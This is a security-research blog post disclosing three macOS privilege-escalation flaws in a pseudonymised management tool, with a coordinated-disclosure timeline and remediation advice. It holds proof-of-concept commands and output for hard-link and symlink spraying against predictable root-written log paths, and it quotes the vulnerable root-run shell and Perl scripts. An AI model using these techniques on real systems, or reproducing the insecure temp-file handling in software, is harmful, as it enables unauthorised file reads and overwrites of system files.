Editor’s note: This post is part of our series for cybersecurity professionals and hobbyists, written by Usman K., a penetration tester on ExpressVPN’s cybersecurity team.
Protecting users’ privacy is the core principle on which ExpressVPN operates.
To uphold this principle, all products and services we develop go through rigorous security testing before they are deployed to our users. The same level of scrutiny is also applied to all third-party services or products utilized by ExpressVPN, which go through security reviews as part of their evaluation process. During these evaluations we sometimes come across different sets of vulnerabilities that could end up being weaponized by malicious actors.
In this article we will be focusing on a series of privilege escalation issues discovered during a security review for an Application and Endpoint Management tool. We will refer to this tool as “AppManager” from now on.
The goal of this article is to provide insight into how a highly privileged process interacting with a lower-privilege user space can lead to attackers elevating their access or performing a DoS attack. All the bugs discussed in this article have been reported to the vendor and have been acknowledged.
Read more: Cybersecurity lessons: Risk of email takeover via a 4th-party provider
Overview
Issues discovered during our assessment include:
- Arbitrary file read through log collection.
- Arbitrary file overwrite through log collection.
- Arbitrary file write through package installer.
We observed that all three of the above issues can be characterized as privilege-escalation vulnerabilities as the arbitrary file read/write vulnerabilities allow the elevation of privilege for normal users. We will go through each of the vulnerabilities found in detail, discuss how they can be exploited, and what should be done to remediate these issues.
Details
Arbitrary file read through log collection
The AppManager macOS app has a “Support” function that collects logs and zips them into a temporary directory. When listing the spawned process for the AppManager, we can see that the AppManager calls a collector executable that collects all the logs. This collector executable runs as root as shown below:
ps aux | grep -i AppManager
<snip>
root 49584 0.0 0.0 4279224 1204 ?? S 10:58PM 0:00.00 /bin/bash /Applications/AppManager.app/<COLLECTOR_DIR>/collector -f /tmp verbose all custom 5760m
<snip>
Further investigation into the collector executable reveals that it is a shell script which contains the following code:
..<snip>..
if [ -d "/Users" ]; then
cd "/Users"
for USERNAME in `ls`; do
userCrashLocation="/Users/$USERNAME/Library/Logs/Reports"
cp -p $userCrashLocation/AppManager_Process*.crash \
..<snip>..
done
fi
Vulnerability
The crash logs are written to /Users/$USERNAME/Library/Logs/Reports, which is a user writable path. Within this folder, a low-privilege user could create a link from a root-owned file (e.g., /etc/sudoers) to a crash file in the format AppManager_Process<random_number>.crash. This would lead to the collector script copying the root-owned file into the user readable /tmp directory.
Proof of concept
~/Library/Logs/Reports $ ls -la /usr/local/ | grep root | tail -1
drwxr-xr-x 3 root wheel 96 Oct 14 10:55 root
~/Library/Logs/Reports $ ls -la /usr/local/root/
total 8
drwxr-xr-x 3 root wheel 96 Oct 14 10:55 .
drwxr-xr-x 18 root wheel 576 Oct 14 10:41 ..
-r-x------ 1 root wheel 7 Oct 14 10:55 secret
~/Library/Logs/Reports $ ln /usr/local/root/secret ./AppManager_Process1337.crash
~/Library/Logs/Reports $ mkdir /tmp/<log_folder>
We can trigger the vulnerability by invoking the log-collection function in AppManager.
This leads to the creation of a zip archive which will contain all the log files. When archiving, symbolic/hard-linked files are hard copied through the permissions of the running process, effectively leading to the arbitrary read vulnerability.
This results in the creation of /tmp/Report-2020-10-14_10-58-52.zip, which contains a copy of the root-owned file now readable for the unprivileged user.
cd /tmp
/tmp $ unzip -l--q 'Report-2020-10-14_10-58-52.zip' | grep 1337
7 10-14-2020 10:55 Report-2020-10-14_10-58-52//AppManager_Process1337.crash
/tmp $ unzip -p Report-2020-10-14_10-58-52.zip Report-2020-10-14_10-58-52//AppManager_Process1337.crash
secret
This kind of arbitrary read can allow an attacker with low privileges to access high-privilege files, such as /etc/passwd, or in this case /usr/local/root/secret, which should only be accessible to the root user only.
Arbitrary file overwrite through log collection
Further reviewing the log collection functionality revealed that an arbitrary file overwrite vulnerability is also present in this implementation of the AppManager macOS app.
This function creates a zip archive from /tmp/<log_folder> named /tmp/<Report_File>-$year-$month-$day_$hour-$minute-$second.zip.
The naming convention of the file is predictable because when logs are collected it will use the system current time as the timestamp.
Vulnerability
The AppManager’s log-collection function, which is running as root, does not perform an unlink before writing the zip file. Thus, an unprivileged user can spray hard links to a root-owned file using files named with a series of the future hours, minutes, and seconds, which leads to an overwrite of the target root-owned file.
Proof of concept
$ ./dos-poc.sh
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-00.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-01.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-02.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-03.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-04.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-05.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-06.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-07.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-08.zip'
Linking '/usr/local/root/secret' to '/tmp/<Report_File>-2020-10-16_11-06-09.zip'
-r-x------ 181 root wheel 7 Oct 16 2020 /usr/local/root/secret
Now triggering the log collection function in the AppManager should execute the exploit.
Once done, we run: ls -l /usr/local/root/secret to see that this file has been overwritten, and the size has increased significantly due to the newly created archive.
/tmp $ ls -l "/usr/local/root/secret"
-r-x------ 181 root wheel 4168630 Oct 16 11:07 /usr/local/root/secret
Arbitrary file overwrite using the package Installer
The AppManager macOS installer contained a preinstall script that had a hardcoded log file path:
#!/usr/bin/perl
my @now = localtime();
my $timeStamp = sprintf("_%04d-%02d-%02d-%02d.%02d.%02d",
$now[5]+1900, $now[4]+1, $now[3],
$now[2], $now[1], $now[0]);
if (!(-e "/tmp/Logs" and -d "/tmp/Logs")) {
system("mkdir \"/tmp/Logs\"");
}
my $PKGNAME = "Installer";
my $LOG="/tmp/Logs/$PKGNAME$timeStamp.log";
sub WriteLog
{
my $log = shift;
system("/bin/echo `date` $log >> $LOG");
}
Vulnerability
No checks are performed to determine whether this file already exists or whether it’s a link. In addition, the use of echo and stdout redirection to this file allows symlinks to be followed.
The developers have appended timestamps to the end of the file to avoid hardcoding the file name and making it more dynamic. But this can be easily bypassed by creating the /tmp/Logs directory and spraying links in the format /tmp/Logs/Installer_<timestamp>.log to a root-owned file with pre-calculated timestamps with one second delays, as shown below.
Linking '/usr/local/root/secret' to '/tmp/Logs/Installer_2021-05-10-00.39.56.log'
Linking '/usr/local/root/secret' to '/tmp/Logs/Installer_2021-05-10-00.39.57.log'
Linking '/usr/local/root/secret' to '/tmp/Logs/Installer_2021-05-10-00.39.58.log'
Linking '/usr/local/root/secret' to '/tmp/Logs/Installer_2021-05-10-00.39.59.log'
When the AppManager’s installer runs, it will append log artifacts to that file leading to file corruption. If those are system-critical files, such as /etc/sudoers, it could significantly impact the usability of the system.
We did notice that this attack will not be successful if the /tmp/Logs directory has already been created by the preinstall script as it would have been created as root and a normal user will not have the permission to create the symlinks in that directory.
Proof of concept
➜ ls -al /usr/local/root/secret
-r-x------ 181 root wheel 14 May 7 23:28 /usr/local/root/secret
Create links to /usr/local/root/secret as shown above. Now install AppManager, and observe that the file size of /usr/local/root/secret has grown:
➜ ls -al /usr/local/root/secret
-r-x------ 181 root wheel 698 May 10 00:38 /usr/local/root/secret
Root cause analysis
All three vulnerabilities were exploited using similar techniques of creating links in a low-privilege space to a high-privilege file. The directories and files that the high-privilege AppManager app was using were predictable and under the control of low-privilege users. As the exploited functions run as root, the attacker can abuse these files and manipulate files with root privileges.
Recommendations
The vulnerabilities mentioned above are cause for concern for system administrators, security operation analysts and developers alike.
Developers working on products that run with higher privileges can avoid these pitfalls by
- Using mktemp to create temporary directories/files. mktemp allows users to safely use temporary files by creating unique and unpredictable file/directory names.
- Checking if files already exist before the initial write and removing the existing file before the initial write.
- Not following links.
- Making sure directories and files have the right permissions before read/write.
Similarly, system administrators and security operations analysts should work to identify similar applications within their environments that might be vulnerable to the exploitation techniques mentioned in this article. This could be done through the identification of applications running with high privileges that operate in low privilege user space where file and operating system resources may be shared in an insecure manner.
Conclusion
As a rule of thumb, high-privilege applications and services should not rely on input that is under a low-privilege user’s control and should avoid creating or reading files from such spaces.
Timeline:
Arbitrary file read through log collection
- October 14, 2020: Discovered the issue during an internal assessment of the product.
- October 15, 2020: Reported the finding to the vendor and got a case number assigned.
- October 17, 2020: The vendor verified the issue and updated that they are working on the fix.
- November 17, 2020: Vendor provided an update that all the issues have been further validated. Two of the three reported issues are fixed and will be part of the next release. Whereas the third issue is still under development.
- January 25, 2021: Analysis on the new release revealed the issue no longer allowed non-administrative users to read sensitive system files. Vendor was informed of the findings.
Arbitrary file overwrite through log collection
- October 16, 2020: Discovered the issue and reported it to the vendor. The vendor assigned a case number.
- November 17, 2020: Vendor provided an update that all the issues have been validated. Two of the three reported issues are fixed and will be part of the next release. Whereas the third issue is still under development.
- January 25, 2021: Analysis on the new release revealed that the issue was not fixed.
- April 9, 2021: Analysis on the latest version confirmed that the issue has been fixed.
Arbitrary file overwrite using the package Installer
- October 14, 2020: Discovered the issue during an internal assessment of the product.
- October 15, 2020: Reported the finding to the vendor and got a case number assigned from them.
- October 17, 2020: The vendor verified the issue and updated that they are working on the fix.
- November 17, 2020: Vendor provided an update that all the issues have been validated. Two of the three reported issues are fixed and will be part of the next release. Whereas the third issue is still under development.
- January 25, 2021: Analysis done on the new release revealed that the issue is partially fixed which can be easily bypassed.
- May 10, 2021: The issue remains partially fixed on the latest version tested.
- June 22, 2021: Analysis on the latest version confirmed that the issue has been fixed.